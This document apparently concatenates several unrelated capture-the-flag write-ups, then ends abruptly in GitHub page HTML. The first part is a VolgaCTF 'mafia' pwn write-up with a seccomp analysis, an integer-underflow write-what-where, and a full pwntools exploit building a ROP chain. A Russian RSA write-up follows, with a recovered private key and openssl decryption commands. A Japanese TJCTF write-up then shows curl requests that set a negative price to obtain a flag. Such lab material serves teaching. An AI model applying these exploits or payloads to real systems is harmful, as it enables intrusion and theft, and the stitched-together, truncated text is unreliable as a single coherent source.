```c uVar1 = seccomp_init(0); uVar2 = 0x101347; seccomp_rule_add(uVar1,0x7fff0000,0xe7,0); seccomp_rule_add(uVar1,0x7fff0000,0,1,in_R8,in_R9,0x400000000,0,0,uVar2); seccomp_rule_add(uVar1,0x7fff0000,1,1,in_R8,in_R9,0x400000000,1,0); seccomp_rule_add(uVar1,0x7fff0000,9,0); seccomp_rule_add(uVar1,0x7fff0000,2,0); seccomp_rule_add(uVar1,0x7fff0000,3,0); seccomp_rule_add(uVar1,0x7fff0000,0xc,0); seccomp_load(uVar1); seccomp_release(uVar1);```
we have the following seccomp rules:
```bash# seccomp-tools dump ./mafia line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x13 0xc000003e if (A != ARCH_X86_64) goto 0021 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x10 0xffffffff if (A != 0xffffffff) goto 0021 0005: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0020 0006: 0x15 0x0d 0x00 0x00000003 if (A == close) goto 0020 0007: 0x15 0x0c 0x00 0x00000009 if (A == mmap) goto 0020 0008: 0x15 0x0b 0x00 0x0000000c if (A == brk) goto 0020 0009: 0x15 0x0a 0x00 0x000000e7 if (A == exit_group) goto 0020 0010: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0015 0011: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count) 0012: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0021 0013: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count) 0014: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0020 else goto 0021 0015: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0021 0016: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count) 0017: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0021 0018: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count) 0019: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0021 0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0021: 0x06 0x00 0x00 0x00000000 return KILL```
We are limited to `read`, `write`, `open`, `close`, `mmap`, `brk`, and `exit_group` syscalls.
`open`/`read`/`write` is all we should need to get the flag, however starting at line `0012` the `read` syscall file descriptor (`fd`) is limited to `0` and only `0`. `0` is usually reserved for `stdin` (FYI, FDs `0`, `1`, and `2` are all tied to `/dev/tty` and can all be used for tty input and output). If we were to `open` `flag.txt`, we'd most likely end up with an `fd` of `3` since `0`, `1`, and `2` are in use. This is where `close` comes in handy, we'll have to close `0` first so that on `open` the next `fd` is `0`.
> _Pssst..., if a CTF challenge blocks you with `close(1); close(2);`, you can get output with `write(0,...)`._
```c if (uVar2 == 1) { *(undefined8 *)(puVar5 + -8) = 0x10156c; puts("Input desired size:"); *(undefined8 *)(puVar5 + -8) = 0x101587; __isoc99_scanf(&%u,&local_e4); local_dc = 4 - (local_e4 & 3); if (local_e4 < 0x401) { *(undefined8 *)(puVar5 + -8) = 0x1015bc; puts("Input desired index:"); *(undefined8 *)(puVar5 + -8) = 0x1015d7; __isoc99_scanf(&%u,&local_e0); if ((local_e0 < 0x10) && (local_98[local_e0] == (char *)0x0)) { *(undefined8 *)(puVar5 + -8) = 0x10160b; puts("Your string:"); lVar4 = (((ulong)local_e4 + 0x17) / 0x10) * -0x10; local_98[local_e0] = (char *)((ulong)(puVar5 + lVar4 + 0xf) & 0xfffffffffffffff0); *(uint *)((long)local_d8 + (ulong)local_e0 * 4) = local_e4 - local_dc; uVar2 = local_e4 - local_dc; pcVar1 = local_98[local_e0]; *(undefined8 *)(puVar5 + lVar4 + -8) = 0x10169f; read(0,pcVar1,(ulong)uVar2); puVar5 = puVar5 + lVar4; } } }```
The vuln is in the `if (uVar2 == 1) {` (`1. Add string`) block. If you follow the code from top down, `local_e4` is the size of the string to be allocated (on the stack--more on this later). If `local_e4` (`uint`) is `0`, then `local_dc` will be `4`.
The statement `*(uint *)((long)local_d8 + (ulong)local_e0 * 4) = local_e4 - local_dc;` is really just `local_d8[local_e0] = local_e4 - local_dc;`. `local_d8` is an array of 32-bit ints (`uint`) that stores the length of the string indexed by `local_e0` (follow the code). If `local_e4` is `0` and `local_dc` is 4, then we have an integer overflow and `local_e4` will be `-4`, but since `uint`, it's `+0xfffffffc`. This will allow writes out of bounds on edit, however we do not need to wait, this same error is repeated with `uVar2 = local_e4 - local_dc;` and used as the length for the `read(0,pcVar1,(ulong)uVar2)` call, effectively allowing us to write down stack, and since the pointers to the strings are down stack, we can overwrite them with any address rendering a _write-what-where_.
But first we need some leaks.
This strange looking code:
```clVar4 = (((ulong)local_e4 + 0x17) / 0x10) * -0x10;```
is effectively `alloca`:
```assembly 0010160b 8b 85 24 MOV EAX,dword ptr [RBP + local_e4] ff ff ff 00101611 89 c0 MOV EAX,EAX 00101613 8b 8d 28 MOV ECX,dword ptr [RBP + local_e0] ff ff ff 00101619 48 8d 50 08 LEA RDX,[RAX + 0x8] 0010161d b8 10 00 MOV EAX,0x10 00 00 00101622 48 83 e8 01 SUB RAX,0x1 00101626 48 01 d0 ADD RAX,RDX 00101629 be 10 00 MOV ESI,0x10 00 00 0010162e ba 00 00 MOV EDX,0x0 00 00 00101633 48 f7 f6 DIV RSI 00101636 48 6b c0 10 IMUL RAX,RAX,0x10 0010163a 48 29 c4 SUB RSP,RAX```
Do not concern yourself with the details, just notice the last statement, the stack has been grown by the inline C function `alloca`, and `RSP` is currently pointing to the new allocation; that same pointer is stored down stack in an array that can be overwritten.
This `alloca`'d space has not been initialized, left over on the stack are leaked stack, libc, and base process locations that can be easily exfiltrated with the `2. Edit string` and `3. Print string` functions.
The plan is simple:
1. Leak the location of libc.2. Leak the location of the stack, then compute the location of the return address on the stack.3. Use the zero-length string vuln (see above) to overwrite a pointer to a string and have it point to the return address on the stack.4. Write out a ROP chain.5. Profit.
### Getting offsets with GDB/GEF
If you want to read the code and compute all of this mathematically, then go for it, but for these `alloca` challenges I find it easier to just use GDB/GEF and look at the stack myself:
```gef➤ telescope 400x00007fffffffe280│+0x0000: 0x0000000000000000 ← $rsp0x00007fffffffe288│+0x0008: 0x000055555555560b → <main+385> mov eax, DWORD PTR [rbp-0xdc]0x00007fffffffe290│+0x0010: 0x0000550a68616c62 ("blah\nU"?) ← $rax, $rdi0x00007fffffffe298│+0x0018: 0x00007ffff7e4476a → <puts+378> cmp eax, 0xffffffff0x00007fffffffe2a0│+0x0020: 0x00000000000000000x00007fffffffe2a8│+0x0028: 0x00007fffffffe3b0 → 0x00005555555557b0 → <__libc_csu_init+0> push r150x00007fffffffe2b0│+0x0030: 0x0000555555555100 → <_start+0> xor ebp, ebp0x00007fffffffe2b8│+0x0038: 0x00000000000000000x00007fffffffe2c0│+0x0040: 0x00000000000000000x00007fffffffe2c8│+0x0048: 0x000055555555560b → <main+385> mov eax, DWORD PTR [rbp-0xdc]0x00007fffffffe2d0│+0x0050: 0x00000000000000000x00007fffffffe2d8│+0x0058: 0x00000004000000000x00007fffffffe2e0│+0x0060: 0xfffffffc0000002c (","?)0x00007fffffffe2e8│+0x0068: 0x00000000000000000x00007fffffffe2f0│+0x0070: 0x00000000000000000x00007fffffffe2f8│+0x0078: 0x00000000000000000x00007fffffffe300│+0x0080: 0x00000000000000000x00007fffffffe308│+0x0088: 0x00000000000000000x00007fffffffe310│+0x0090: 0x00000000000000000x00007fffffffe318│+0x0098: 0x00000000000000000x00007fffffffe320│+0x00a0: 0x00007fffffffe290 → 0x0000550a68616c62 ("blah\nU"?)0x00007fffffffe328│+0x00a8: 0x00007fffffffe280 → 0x00000000000000000x00007fffffffe330│+0x00b0: 0x00000000000000000x00007fffffffe338│+0x00b8: 0x00000000000000000x00007fffffffe340│+0x00c0: 0x00000000000000000x00007fffffffe348│+0x00c8: 0x00000000000000000x00007fffffffe350│+0x00d0: 0x00000000000000000x00007fffffffe358│+0x00d8: 0x00000000000000000x00007fffffffe360│+0x00e0: 0x00000000000000000x00007fffffffe368│+0x00e8: 0x00000000000000000x00007fffffffe370│+0x00f0: 0x00000000000000000x00007fffffffe378│+0x00f8: 0x00000000000000000x00007fffffffe380│+0x0100: 0x00000000000000000x00007fffffffe388│+0x0108: 0x00000000000000000x00007fffffffe390│+0x0110: 0x00000000000000000x00007fffffffe398│+0x0118: 0x00000000000000000x00007fffffffe3a0│+0x0120: 0x00007fffffffe4a0 → 0x00000000000000010x00007fffffffe3a8│+0x0128: 0x7c84ce9d856c36000x00007fffffffe3b0│+0x0130: 0x00005555555557b0 → <__libc_csu_init+0> push r15 ← $rbp0x00007fffffffe3b8│+0x0138: 0x00007ffff7df4d0a → <__libc_start_main+234> mov edi, eax```
Above is what the stack looks like after setting a break point at `*main+740` (the `puts` in `3. Print string`), and then creating a string at index `0` of length `48` with contents `blah\n`, followed by a string at index `1` with a length of `0`.
> Why `48`? I tested various sizes, the larger the allocation the more leaks in the stack, `48` gave me access to a stack and libc leak in close proximity to `$rsp`.
At line `+0x0060` you can observe the `uint` array of string lengths, including the `0xfffffffc` from the string length of `0`. And starting at line `+0x00a0` is the array of pointers for to the `alloca` created strings on stack.
This dirty stack has everything we need to leverage our _write-what-where_; at `+0x0018` is a libc leak, and at `+0x0028` a stack leak. If you look at the value of that leak, it is the same as `$rbp` (look at bottom of stack dump), add `8` to that and you have the stack address of the return address we are going to overwrite with our ROP chain.
**NOTE: different libc's will use the stack in different ways, so it is very important to use the challenge provided libc, e.g.:**
```bashcp mafia mafiappatchelf --set-interpreter $PWD/ld.so --set-rpath $PWD mafiap```
The above will make it easier to work with GDB/pwntools.
> It's not the only way, just the lazy way.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./mafiap',checksec=False)libc = ELF('./libc.so.6',checksec=False)
if args.REMOTE: p = remote('mafia.q.2022.volgactf.ru', 1337)else: p = process(binary.path)```
Standard pwntools header.
```pythonp.sendlineafter(b'>> ',b'1')p.sendlineafter(b'size:\n',b'48')p.sendlineafter(b'index:\n',b'0')p.sendlineafter(b'string:\n',7 * b'A')p.sendlineafter(b'>> ',b'3')p.sendlineafter(b'index:\n',b'0')p.recvline()libc.address = u64(p.recv(6) + b'\0\0') - libc.sym.puts - 378log.info('libc.address: {x}'.format(x = hex(libc.address)))```
The above will leak libc based on the stack diagram above (Analysis section).
> Index `0` string starts at `+0x0010` (see stack diagram above) with the leak at `+0x0018`, the difference is `8`, so send `8` bytes (e.g. above `7` + `\n` (`sendlineafter`)), then just `3. Print string`.
```pythonp.sendlineafter(b'>> ',b'2')p.sendlineafter(b'index:\n',b'0')p.sendlineafter(b'string:\n',23 * b'A')p.sendlineafter(b'>> ',b'3')p.sendlineafter(b'index:\n',b'0')p.recvline()stack_leak = u64(p.recv(6) + b'\0\0')log.info('stack_leak: {x}'.format(x = hex(stack_leak)))return_address = stack_leak + 8log.info('return_address: {x}'.format(x = hex(return_address)))```
Same logic as the previous leak, but this time for the stack to then compute the location of the return address on the stack. See Analysis section above.
```pythonp.sendlineafter(b'>> ',b'1')p.sendlineafter(b'size:\n',b'0')p.sendlineafter(b'index:\n',b'1')p.sendlineafter(b'string:\n',0xa0 * b'A' + p64(return_address))```
Use the index `1` string (the one with zero length), to overwrite the pointer to string `0` (`+0x00a0`) to point to the return address on the stack.
```pythonpop_rax = libc.search(asm('pop rax; ret')).__next__()pop_rdi = libc.search(asm('pop rdi; ret')).__next__()pop_rsi = libc.search(asm('pop rsi; ret')).__next__()pop_rax_rdx_rbx = libc.search(asm('pop rax; pop rdx; pop rbx; ret')).__next__()syscall = libc.search(asm('syscall; ret')).__next__()
flag_offset = 0x100payload = b''
# closepayload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rax)payload += p64(constants.SYS_close)payload += p64(syscall)
# openpayload += p64(pop_rdi)payload += p64(return_address + flag_offset)payload += p64(pop_rsi)payload += p64(0)payload += p64(pop_rax_rdx_rbx)payload += p64(constants.SYS_open)payload += p64(0)payload += p64(0)payload += p64(syscall)
# readpayload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rsi)payload += p64(return_address + flag_offset)payload += p64(pop_rax_rdx_rbx)payload += p64(constants.SYS_read)payload += p64(100)payload += p64(0)payload += p64(syscall)
# writepayload += p64(pop_rdi)payload += p64(1)payload += p64(pop_rax)payload += p64(constants.SYS_write)payload += p64(syscall)
# static flag.txtpayload += (flag_offset - len(payload)) * b'A' + b'flag.txt\0'```
Create basic ROP chain:
1. `close` FD `0` so that it can be reused by `open` (see Analysis section above on seccomp rules).2. `open` `flag.txt` (stored down stack) as FD `0`.3. `read` FD `0`, and overwrite `flag.txt` on stack with `flag.txt` contents. (The file is already open and tied to FD `0`; we no longer need this file name. BTW, this works with file systems as well, if the file is open, you can still read from it even if removed, just get the FD from `/proc`).4. `write` to `stdout` the flag.5. Append to the end the text `flag.txt\0` for use by `open`.
```pythonp.sendlineafter(b'>> ',b'2')p.sendlineafter(b'index:\n',b'0')p.sendlineafter(b'string:\n',payload)p.sendlineafter(b'>> ',b'4')
flag = p.recvuntil(b'}').decode()p.close()print(flag)```
Just write out the ROP chain as the index 0 string, and exit to exploit.
> You may need to run a few times to get the flag. See `exploit1a.py` below.
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to mafia.q.2022.volgactf.ru on port 1337: Done[*] libc.address: 0x7f149db2c000[*] stack_leak: 0x7ffc1cbf56a0[*] return_address: 0x7ffc1cbf56a8[*] Closed connection to mafia.q.2022.volgactf.ru port 1337VolgaCTF{d0n7_y0u_try_70_ch347}```
## exploit1a
`exploit1a.py` adds some checks and will exit early if the stack leaks are garbage or if the stack is too high up in user space.
e.g.:
```[+] Starting local process '/pwd/datajerk/volgactf2022quals/mafia/mafiap': pid 43731[*] libc.address: 0x7f836ae82000[*] stack_leak: 0x6441202e310a[*] return_address: 0x6441202e3112[*] Stopped process '/pwd/datajerk/volgactf2022quals/mafia/mafiap' (pid 43731)[CRITICAL] this is not the stack leak you're looking for, try again```
```[+] Starting local process '/pwd/datajerk/volgactf2022quals/mafia/mafiap': pid 37709[*] libc.address: 0x7fef7b972000[*] stack_leak: 0x7fff631cdae0[*] return_address: 0x7fff631cdae8[*] Stopped process '/pwd/datajerk/volgactf2022quals/mafia/mafiap' (pid 37709)[CRITICAL] read beyond user-space: 0x8000631cdae4[CRITICAL] read syscall will fail, try again```
There's a ~1/3 chance of encountering one of these errors.
> If you were using GDB or had disabled ASLR you would have failed 100% of the time because the stack is at the top of user space.
## exploit2
`exploit2.py` explores the other route, `mmap`. See the comments in the code. |
Для решения понадобится [RsaCtfTool.py](https://github.com/Ganapati/RsaCtfTool)
Запускаем:```python3 RsaCtfTool.py --publickey rsa_pub.pem --private```
Вывод программы будет слудеющим:```[ * ] Attack success with boneh_dufree method !
Private key :-----BEGIN RSA PRIVATE KEY-----MIIEYwIBAAKCAQB/FnriJTdilGFdUXGnfR+fsE3s00cO5xWIJPxNL5meti/v6w5838M0UkRCndWlSvw7CXwSRxaGbfuf5Z3msETvK0zCtHKKsu5BPIk+2WoNNdcL4LBDAy3QhXD6+ZbYTqQee/UrHISCiMhrJc99ENfLReZo/HBvtpDi+G2qtKwV/ZpPUHa3g6K5H/ceb9ev4ieO3t4LuIe7FjNGagrKbkQYPYXzPr6nYZYKRnKKaFZUIk1CUsB4xKkQ17eYHRl3Du+vtEmrowxhA3072Vsg3hDDZKR2BPagrxxapCqRTYoW8xrKIiPU/Q758pvFk/GyLHw3jHbIGM62n4tbXNvG4DW7AoIBAAQJBLuD2VV5UHWCfyeHZk08MgswbFSu8pWeJ4rFhWK0W8ewGnOr7PWU0pbeinRqZ0IUuVs+/kCncaHa7MquvlgqQ385qlmJIpYzQogGv6Jk5lCgRcZTJlh1IGMEMBIsio6wBpPmwv7ypiemEgNpiBOCm28khTOpDvRKJ6Rav9mW7OSC99eC9gtnxSiHlHbYZqcAr2YSGeXH2Pzod5hjXOGo0H6LNzrghj8x7K1weDkriPC5OPBhDzTwAYcLeMD4LnWHKyWVJeMsiSXitlMT8VYtq7arDTb4WZ4AWb4RRYFVEu1m8WxaP1Qbzdr8R3lEWzOeaKztfjw1LaoqAKopUNkCQhBUM2RxZBYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASQKBgQDM/wAgeO9HNbvH/38Dk3grboCw2wBmzBaGHadD3niAAhp8R7wNA8m7dWhm5XMa7LKRE9q/iJhvQB0MZI2/98IAI1E3JTpEC5M6854hvgy/WAMTHRtGvnPDlBTQvqyyriuNgxtTo58bnVwqSu3Q8mMNALN8lypt4a8muonMo+Tv2QKBgQCetTKXXeN3SOCxlNHCltm0TVwyOvo1c0bn/nT/MXGhGunc8mVLwZcfqQGes/uTd15Unkjy/Dtu39g0jeQS5PQ1yyxyA412yA0hwgVulDMhrQbSWNVUgspyFgr/jHxG9m92Lt/4zGHr34mwzbsZ09RwvhAv1B3kH4TQbWjGG4DpswJCEFQzZHFkFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABJAkIQVDNkcWQWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEkCgYEAnim/9AiZrGDuinIFmrAX0XOIjhKpHB5AOks2gt5FIC2r2eMYrY9Dncbq/fERC7xPHfFD7S1RXe+WtUyT9rNoJH3zhcMp96pTp8dh5AeQyq6goO7Jq+PobpubdlzKZdyOyiMj2UGJ3XlNgq2eZRCtX/L1kSHXf0bp0oBLKlWZqQM=-----END RSA PRIVATE KEY-----```Сохраняем полученный приватный ключ в файл `priv.key`
Для шифрования сообщения использовалась утилита `openssl`:```openssl rsautl -encrypt -inkey rsa_pub.pem -in flag.txt -out flag.enc ```
Значит для расшифрования сообщения воспользуемся следующей командой:```openssl rsautl -decrypt -inkey priv.key -in flag.enc -out flag.txt ; cat flag.txt```
`VolgaCTF{wh0_r34lly_us3_sm4ll_d_v4lu3}` |
# fruit-store:web:287pts:lemonthink: [Instancer](https://instancer.tjctf.org/fruit-store)
Downloads [server.zip](server.zip)
# Solutionソースとインスタンス生成リンクが渡される。 生成しアクセスするとフルーツを購入できるサイトのようだ。 Fruit Shop [site.png](site/site.png) 購入以外できないと思われ、超高額なgrassを買えばよさそうだ。 次にソースを見る。 ```js~~~fruits['grass'] = { name: 'grass', price: 2.5e+25, description: fs.readFileSync('flag.txt', 'utf8').trim(), quantity: 1};~~~app.post('/api/v1/sell', (req, res) => { for (const [key, value] of Object.entries(req.body)) { if (key === 'grass' && !req.session.admin) { continue; }
if (!fruits[key]) { fruits[key] = JSON.parse(JSON.stringify(fruit)); }
for (const [k, v] of Object.entries(value)) { if (k === 'quantity') { fruits[key][k] += v; } else { fruits[key][k] = v; } } }
res.send('Sell successful');});
app.post('/api/v1/buy', (req, res) => { const { fruit, quantity } = req.body;
if (typeof fruit === 'undefined' || typeof quantity !== 'number' || quantity <= 0 || !fruits[fruit]) { return res.status(400).send('Invalid request'); }
if (fruits[fruit].quantity >= quantity) { if (req.session.money >= fruits[fruit].price * quantity) { fruits[fruit].quantity -= quantity; req.session.money -= fruits[fruit].price * quantity; res.json(fruits[fruit]); } else { res.status(402).send('Not enough money'); } } else { res.status(451).send('Not enough fruit'); }});~~~````/api/v1/sell`で売ることができるようだ。 ただし、grassはブロックされている。 adminのみお金を増やせるなどの処理があるが、あまり関係はない。 所持数を確認していないため、無限にフルーツを売りつけることができるが、お金が増えることはない。 ここでソースの以下の部分に注目する。 ```js~~~ for (const [k, v] of Object.entries(value)) { if (k === 'quantity') { fruits[key][k] += v; } else { fruits[key][k] = v; } }~~~```商品の個数を追加しているが、`quantity`以外のキーを指定するとvに書き換えることができる。 これで商品のnameやpriceなどが任意の値に変更できるようになった。 さらに購入処理の以下の部分に注目する。 ```js~~~ if (req.session.money >= fruits[fruit].price * quantity) { fruits[fruit].quantity -= quantity; req.session.money -= fruits[fruit].price * quantity;~~~```自身の所持金からフルーツ代金*購入量を引いている。 つまりフルーツ代金をマイナスにするとお金が増えることがわかる。 よって以下の通り、sellするタイミングでpriceをマイナスにし、それを購入することで所持金を増やしgrassを買えばよい。 今回は在庫があるbananaの代金をマイナスにした。 ```bash$ curl -X POST 'https://fruit-store-16ac1ecab524d650.tjc.tf/api/v1/sell' -H 'Content-Type: application/json' -H 'Cookie: connect.sid=s%3AQ-jvlbKwnUCNiMsiK09bLo7BcCqHuhey.rTsHWm1SpJX39O9itN%2Fjd6vZvJ0FsRHWdn86gKJrfzk' -d '{"banana": {"price":-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}}'Sell successful$ curl -X POST 'https://fruit-store-16ac1ecab524d650.tjc.tf/api/v1/buy' -H 'Content-Type: application/json' -H 'Cookie: connect.sid=s%3AQ-jvlbKwnUCNiMsiK09bLo7BcCqHuhey.rTsHWm1SpJX39O9itN%2Fjd6vZvJ0FsRHWdn86gKJrfzk' -d '{"fruit":"banana","quantity":1}'{"name":"banana","price":-1e+100,"description":"banannananananannana","quantity":4}$ curl -X POST 'https://fruit-store-16ac1ecab524d650.tjc.tf/api/v1/buy' -H 'Content-Type: application/json' -H 'Cookie: connect.sid=s%3AQ-jvlbKwnUCNiMsiK09bLo7BcCqHuhey.rTsHWm1SpJX39O9itN%2Fjd6vZvJ0FsRHWdn86gKJrfzk' -d '{"fruit":"grass","quantity":1}'{"name":"grass","price":2.5e+25,"description":"tjctf{h4v3_y0u_ev3r_tri3d_gr4s5_j3l1y_d4ebd9}","quantity":0}```flagが得られた。
## tjctf{h4v3_y0u_ev3r_tri3d_gr4s5_j3l1y_d4ebd9} |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/wiki-b72b6de22521.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-c9f000e7f174.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 